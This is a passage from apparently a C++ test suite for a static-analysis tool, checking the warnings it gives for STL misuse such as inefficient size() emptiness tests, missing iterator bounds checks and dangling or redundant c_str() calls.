dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() 